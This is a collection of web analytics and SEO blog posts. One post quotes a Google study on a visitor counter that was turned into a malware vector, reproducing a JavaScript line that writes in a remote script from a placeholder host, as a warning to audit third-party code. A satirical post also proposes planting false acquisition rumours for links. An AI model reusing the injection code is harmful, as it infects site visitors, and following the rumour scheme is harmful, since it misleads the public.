Best Practices

Internal search and web analytics

Internal search is a very important and interesting topic to write about and I believe there is only well-known web analyst Gary Angel, who was able to capture it all. Here his series of postings, that should give you an idea of what to do with your internal search data: 1. Introduction to Internal Search

2. The analysis of Search sourcing

3. Functional analysis of Search

4.  Performance evaluation  of a topic specific subset of Search.

5. Failed Search Terms report

Keyword research for free

Researching keywords for campaigns is often the most annoying part for online marketers.  There are tons of tools out there, but only a few really give you what you need. Especially with SE changes like Google's quality score it is necessary to be smart when it comes to researching and buying keywords. My favorite tool is "Keyword Curious", developed by my friend Scott, who is one of the best Keyword SEO Wordpress tool developers out there (I am not exaggerating! Just check his Domain Hunter or Typo Squatter tool).

So check it out...and yes it is free.

Google's malware study includes stat counter provider

Google released an interesting study (PDF) about web-based malware and of course one shady counter company is mentioned in the paper. I am not sure which company this is (m1.sta.xx  or http://m1.stats4u.yy ) , but always keep in mind to double check the third-party code on a regular basis. Also make sure to join one of the larger counter companies, that are in the market for some time ( e.g. by typing in their URL in webarchive.org). "Example of a widget that allows a third-party to insert arbitrary content into a web page. This widget used to keep statistics of the number of visitors since 2002 until it was turned into a malware infection vector in 2006:

<!-- Begin Stat Basic code --> <script language="JavaScript" src="http://m1.stat.xx/basic.js"> </script><script language="JavaScript"> <!-- statbasic("ST8BiCCLfUdmAHKtah3InbhtwoWA", 0); // --> </script> <noscript> <a href="http://v1.stat.xx/stats?ST8BidmAHKthtwoWA"> <img src="http://m1.stat.xx/n?id=ST8BidmAHKthtwoWA" border="0" nosave width="18" height="18"></a></noscript> <!-- End Stat Basic code -->

While examining our historical data, we detected a web page that started linking to a free statistics counter in June 2002 and was operating fine until sometime in 2006, when the nature of the counter changed and instead of cataloging the number of visitors, it started to exploit every user visiting pages linked to the counter. In this example, the now malicious JavaScript first records the presence of the following external systems: Shockwave Flash, Shockwave for Director, RealPlayer, QuickTime, VivoActive, LiveAudio, VRML, Dynamic HTML Binding, Windows Media Services. It then outputs another piece of JavaScript to the main page: d.write("<scr"+"ipt language=’JavaScript’

d.write("<scr"+"ipt language=’JavaScript’ type=’text/javascript’ src=’http://m1.stats4u.yy/md.js?country=us&id="+ id + "&_t="+(new Date()).getTime()+"’></scr"+"ipt>") This in turn triggers another wave of implicit dow

found by 10e20

6 Steps on how to bait links for your company

After last weeks headlines I re-name 2007 as the year of corporate linkbait. Who needs SEO, SEM or web analysts when your PR agency can handle everything at once. It always works after the same scheme, so here the four simple steps on how to bait links for your company: 1. Come up with a good headline E.g. [Your] Company in talks to acquire [competitor company],

e.g. Google in talks to aquire Amazon, Yahoo in talks to acquire Time Warner, News Corp. in talks to aquire Viacom, IAC in talks to aquire Ebay, MSN in talks to aquire IBM

2. Share your news with high profile reporters from the New York post, The Mirror (UK), Bild (Germany) or some other yellow press and industry related press/blogs...

3. Wait 2-3 days until the rumor makes its round

4. Deny the rumors and talk to some Wallstreet Journal, NY Times... editor. Additionally send out a press release. 5. Let the rumors flame up again

6. Analyze your successful linkbait and enjoy that your PR agency just made a boatload of money for you

Customer happiness & webanalytics

Webanalytics is very focused on optimizing Key performance indicators, but what is often forgotten is customer happiness. Webanalytics data in combination with the Kano model can be perfectly used to improve customer happiness and ultimately result in long-term revenues & profits.

I. General

The Kano Model was invented by Prof. Kano in 1979 or 1984?. Since then the model has been changed and developed by several scientists. The Kano model classifies customer preferences in 3, 5 or 6 segments depending on who interpreted his model. I am lazy and just want to mention three here:


1. Expected requirements/needs:

Items that are expected/given e.g. a car comes with an engine. It is expected.

2. Basic requiremens/needs:

Items that lead to satisfaction e.g. computer comes with service guarantee, delivery...

3. Delightful requirements/need:

Wow effect! Additional items that make the customer happy e.g. remote control for computer...or a self-parking computer car.
II. Goals

The long-term goal is to make the customer/client happy, which means the ideal situation is to satisfy all the requirements/needs above. A dissatisfied customer will complaint to 10 people about your business, a satisfied customer will tell one and maybe add a PR 8 link to your site.

The following approach could be an idea of how to get there:

III. How to start

1. Pull webanalytics data and identify customer needs:

a. A/B testing

b. Segmentation

c. Single exit pages

d. Focus groups

e. Other KPI's depending on your business

2. Customer surveys

a. Onsite & Multiple choice

Figure out if the item is expected, delightful or just basic need (surveymonkey, surveyspot.com, questionpro.com). Use a survey professional, who is able to setup a real survey.
3. Interview people

Use standard oral interviews. Create a table and list dysfunctional and functional answers. Let a professional handle the interview!

4. Merge data and come up with a solution

Merging real interview data, survey answers and webanalytics data is a good way to identify customer happiness. Even if it is a lot of work customer happiness should always be the goal for any sustainable business.

Clicktracks webinar with Avinash Kaushik

I just spend a good hour listening to Avinash Kaushik's "webanalytics wisdom" and while I post this, he still answers questions with a remarkable passion. Here some notes, that I took:

1. Focus on Macro Analysis #1 How many visitors? #2 Visitors from where (goldmine URL's / customer intent)? #3 Visitors what do you want (critical few) ? #4 What are they up to?

2. Segment like crazy! Unleashing tips #1:CT Funnel's Rock (Website entry points, CMTB Content, Core Product Content, Cart, Checkout) Unleashing #2 Leverage the Long tail (SEO is king :-)) Unleashing #3 Be customer centric (surveys, lab usabilitiy, site visits, testing)

3. Other Stuff: - Below 20-25% bounce rate (exit rate) is very difficult to receive. 50% is more the average ( based on Avinash's experience :-))

- Clicktracks appetizer will upgrade their free tool with a few functionalities. If I remember right the single access pages and/or referrals will be shown from now on.

Gap content building

YourAmigo, a SEO company, today announced a partnership with Coremetrics, about 2 months after they signed a deal with Omniture. Under the partnership, Coremetrics will resell YourAmigo's unique Spider Linker(TM) SEO service.

The upgraded Coremetrics package provides unique page creation capability. It provides deep analysis of the web site content and millions of search terms to identify "content gaps." It then fills these gaps by creating new pages which are highly optimized to drive more relevant search engine traffic.

To be honest: Before the deal w. Omniture (in Dec.)I've never heard of Youramigo and I've been deeply involved in the SEO scene for quite some time.

Despite that Spider Linker looks like a great tool that provides content to websites/keyword queries that are supposed to be there. I ususally handle this issue with a customized 404 page, which is obviously not as good.

I haven't tested Spider Linker, so I am not sure how it works, but I am a little curious if this "gap content building" works in real-time and within the SE guidelines.

Measuring Podcasts

I am a big fan of Car talk on NPR. Especially during winter when my brand new Toyota Corolla (with 218.000 miles) starts not feeling so well. Unfortunately Car talk is always on air Saturdays, which is usually my lazy day. But NPR is great. They even have the show as an podcast on Cartalk.com and probably NPR.com. But even greater is it to listen to an Interview [mp3 file] about measuring podcasts with Enrique Gonzales, User Experience Analyst, and Bryan Moffet, Sponsorship Operations Manager at NPR Digital Media. Interviewer is Robin Steffek from the WAA Research Committee.

[If you don't have time listening to the 30 min podcast, find here a summary.] In addition to the Interview, feel free to read my post about podcast tracking some time ago. 

How to report KPI's to your management

Often it is difficult to decide which KPI's are important for your management and which aren't. Numbers that matter to you probably won't matter to your management. Most CEO's/COO's don't need the entire KPI handbook on their desk unless you want to confuse them. I often was astonished how little knowledge the management has when it comes to KPI's and I often saw how confused a management can be when you deliver the wrong info. Your CEO might be very smart, but don't bother her/him with KPI's like the Percent of Low Click Depth Visits.

From my experience I think it is important to keep the reports simple and stupid unless your management has deep webanalytics knowledge. The presentation should be done with a Tacho/Speedometer or other dashboards that are easy to read. Add some class to your Excel tables and show what you are able to deliver.

I also recommend to print out reports in color. Colors are important to show changes. I usually highlight important numbers and issues that need to be adressed.

Printing out Excel sheets is a good thing as well. First of all you can double check your nonsene numbers, second of all you will make sure that your boss will take a look at it. Reports via Email might be nice, but a colored printout always looks more impressive.

After reading this you might want to know what KPI's to report. I think it depends on each company, business model and management. It doesn't make sense to tell you what to report. Most managers are happy to see positive simple data like ROI, unique visitors, revenues. Others are more advanced and prefer trends, rates and ratios.

Affiliate fraud

After Google provided the invalid clicks and invalid click rate within it's Adwords system it is time to look at fraudulent affiliate/publisher. Etracker recently published a study about affiliate hopping and the consequences for merchants. Affiliate marketing usually works pretty simple: A merchant offers a product and provides creatives or text links to advertise for his product. The publisher takes the code from the affiliate program and adds it to his site. A customer visits the publishers site, clicks on a creative or text link and a cookie will be placed in his browser. Once the user finishes shopping at the merchant, the cookie will pass the information of a sale or lead to the the merchants affiliate tracking software.

Usually the last cookie wins which means that the last publisher, who directed the customer to the product earns the commission. So far so good.

So what is affiliate hopping or affilate fraud? Affiliate hopping is different from click-fraud but can be as profitable. PPC programs are in the affiliate world pretty rare and the few affiliate programs with pay-per-click offers have usually low click prices or a build-in clickfraud detection. The affiliate hopping usually occurs with top affiliate programs. The top affiliate programs of large vendors use different affiliate platforms like Linkshare, CJ, Tradedoubler, Zanox... . All these affiliate programs work independent from each other. There is no data exchange within those networks. This means that CJ cannot read the Cookie from Linkshare and vice versa.

This also means that an affiliate with some technical skills can easily use two cookies for two affiliate programs. And all this needs only one click. With this simple trick the publisher earns twice the commission from two different affiliate networks.

Solutions for Merchants: 1. Double track all campaigns and compare inhouse tracking and affiliate networks tracking.

2. Pass the users real name or his user id to the affilite network. This way you can easily put order and name together

3. Use an internal merchandise management, which recognizes chargebacks, returns... 4. Add specific terms to your Terms of condition and make clear that you don't tolerate fraudulent affiliates.

Podcast tracking

Nielsen Analytics recently reported that more and more internet user are attracted to podcasts. According to the study, more than 9 million internet user in the United States downloaded podcasts to computers and mobile devices last month.

Ten percent of the study's 1,700 respondents said they download eight or more podcasts a week. And of the podcast users, 38 percent said they listen to the radio less because they're listening to podcasts. More than 75 percent of all podcast listeners are male.

Obviously podcasts became a huge market, but how to track them right? Here are some proposals:

1. Download tracking 

Many webanalytics vendors offer downoad tracking. But not all of them are able to track if your download only began, interrupted or even completed. If your vendor doesn't offer an adequate solution you can have a look at your logfiles. In order to increase accuracy of your numbers you also should make sure that download managers like Getright , Gozilla and others are included in your statistic.

2. Tracking Streaming

Tracking streaming is another interesting part of tracking podcasts. Only the top 5 tools are able to identify the average / minimum / maximum audience size for a certain time period or completion rate.

3. Time spent listening (TSL)

The TSL is the amount of time the average listener surveyed spent listening to each radio/podcast station at one time, before changing the station/podcast or turning it off. Most if not all of the webanalytics vendors won't be able to track the TSL.

In order to track the TSL of your podcast you probably have to work together with a radio audience research company like Arbitron. Arbitron uses a Portable People Meter (PPM(SM)) system, which can be used to track audiences who listen to podcasts.

The Portable People Meter is an audience measurement system that uses a passive "audience measurement device", about the size of a small cell phone, to track consumer exposure to media and advertising. The PPM detects inaudible codes embedded in the audio portion of media content.

Carried throughout the day by randomly selected survey participants, the PPM device can track when and where they watch television, listen to radio as well as how they interact with other forms of media and entertainment. The PPM is equipped with a motion sensor, a patented quality control feature unique to the system, which allows Arbitron to confirm the compliance of the PPM survey participants every day. At the end of the day, the meter is placed in a docking station that extracts the codes and sends them to a central computer.

Sounds like a Nielsen system for your podcast